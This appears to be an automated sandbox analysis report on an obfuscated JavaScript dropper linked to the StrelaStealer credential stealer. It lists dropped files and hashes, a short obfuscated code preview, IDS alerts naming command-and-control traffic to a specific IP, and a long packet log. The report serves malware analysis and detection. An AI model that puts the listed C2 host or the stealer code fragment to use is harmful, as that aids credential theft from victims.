Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\dc76a724-d202-487a-a938-81c5e97728d5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/rKdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tOWL07oYGZQeYIGNPB:Ta3mlind9i4ufFXpAXkrfUs0kWLxYGZQ
MD5:	81778DB3CD3E202CD8FEB47572C9DF55
SHA1:	A030EAB46FE2ED66D14270A86F44303F0D742019
SHA-256:	2E4A0CE023C75E0A53D82D4D08DC4ACD144039D04CEA94103C26535CB5B56998
SHA-512:	97BFD23BD03D6E911059092ED0C44779588CE29AE31E8FA1510A7FEE2B92B9E07AE2FFD4614D2566D369E48554269DC95DE42E062E533A4AA5EEC4DBAAAD3D1B
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15762), with CRLF line terminators
Entropy (8bit):	4.913179223679568
TrID:
File name:	2024032514221887775.js
File size:	19'155 bytes
MD5:	1a63716efc3bd77536ebd568618b5111
SHA1:	1073a6c43f12ef9b1aaad2cafc36ff49a771dd2f
SHA256:	753b56fdde9c7da77fa85c68f88f77d937131c6bcc3455d73157847dc2f5ca01
SHA512:	5f9e16e82e0c6b5dad1d60f439535a3ea03a34a149abfd44d9abec2c1a1044f48acef8d355ed1ced781c02bcf665a9879337b6e664b0df1a02f33e95d50fa782
SSDEEP:	384:ijpIyM1yQ3W6HudI1W8KO472N31oO5nx4A35DVjLmC:epIyU3W6HucO7ExXDVjLh
TLSH:	458265C5A45A8743DCD642E0428762E395789BCDC8BE4E4E5CA37BEA390617CF0D2DB1
File Content Preview:	function rflvzwczo(){zxxlo=[1031,3079,5127,4103,2055,3072];var kmaqnzea=this[aerqkllje+oskfrpa+jpwxfok+ykhbf+vrpht+ycodpeqag+kqvog+iypffqw](this[megocvb+fgygj+jvliexdm+jpwxfok+jknuv+aerqkllje+iypffqw][tjnbqafw+jpwxfok+vrpht+oskfrpa+iypffqw+vrpht+vfenyzd+j

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:41:42.541777+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T02:41:42.541777+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T02:41:45.130905+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:41:41.735932112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:41.740746975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:41.740842104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:41.743891001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:41.748732090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.541626930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.541650057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.541667938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.541692019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.541707993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.541726112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.541776896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.541810036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.541826010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.541830063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.541868925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.541971922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.541986942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.542165041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.546642065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.596859932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.596914053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.596926928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.597115040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.666665077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.666680098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.666740894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.666764975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.666800022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.666815996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.666836023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.666848898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.666889906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.667365074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.667378902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.667419910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.667572021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.667598009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.667613029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.667648077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.667678118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.667692900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.667732000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.668519020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.668534040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.668560028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.668567896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.668574095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.668591022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.668600082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.668633938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.669331074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.669358015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.669403076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.683578968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.683593988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.683609009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.683671951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.683695078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.683720112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.775007963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.775034904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.775049925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.775202990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.792431116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.792464972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.792480946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.792568922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.792577982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.792583942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.792599916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.792617083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.792625904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.792644024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.792669058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.792848110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.792916059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.792931080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.792962074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.793011904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.793026924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.793042898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.793051004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.793087006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.793755054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.793771029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.793786049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.793807983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.793812037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.793827057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.793842077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.793857098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.793864012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.793900013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.794635057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.794651985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.794667959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.794676065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.794702053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.794709921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.794718027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.794734955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.794751883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.794759035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.794790983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.795547009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.795563936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.795582056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.795600891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.795669079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.795684099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.795698881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.795711040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.795717001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.795737982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.796405077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.796444893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.796456099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.796461105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.796499968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.796540022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.796555042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.796595097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.796669960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.796685934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.796722889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.797347069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.797367096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.797405958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.862023115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.900291920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.900309086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.900325060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.900443077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.900459051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.900466919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.900485039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.900485039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.900510073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.917289972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.917314053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.917423964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.917566061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.917582035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.917597055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.917604923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.917633057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.917649031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.917666912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.917681932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.917700052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.917731047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.917747974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.917773008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.917994022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.918009996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.918025017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.918034077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.918044090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.918059111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.918064117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.918097973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.918400049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.918415070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.918431044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.918446064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.918452978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.918461084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.918477058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.918481112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.918512106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.918860912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.918876886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.918891907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.918914080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.918915987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.918931007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.918946028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.918952942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.918962002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.918986082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.919034958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.919049978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.919064045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.919070959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.919079065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.919096947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.919102907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.919140100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.919703960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.919728041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.919744015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.919765949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.919833899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.919847965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.919863939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.919868946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.919878960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.919909000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.919975042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.919990063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.920003891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.920007944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.920020103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.920042038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.920073032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.920111895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.920958042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.921272039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.921287060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.921313047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.922004938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.922019958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.922034025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.922049046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.922051907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.922071934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.923856974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.923871994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.923888922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.923896074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.923904896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.923919916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.923923969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.923955917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.925703049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.925724983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.925743103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.925757885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.925764084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.925772905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.925793886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.925810099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.925812006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.925823927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.925829887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.925839901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.925853968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.925859928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.925869942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.925884008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:41:42.925894022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:41:42.925899982 CET	80	49704	193.143.1.205	192.168.2.5
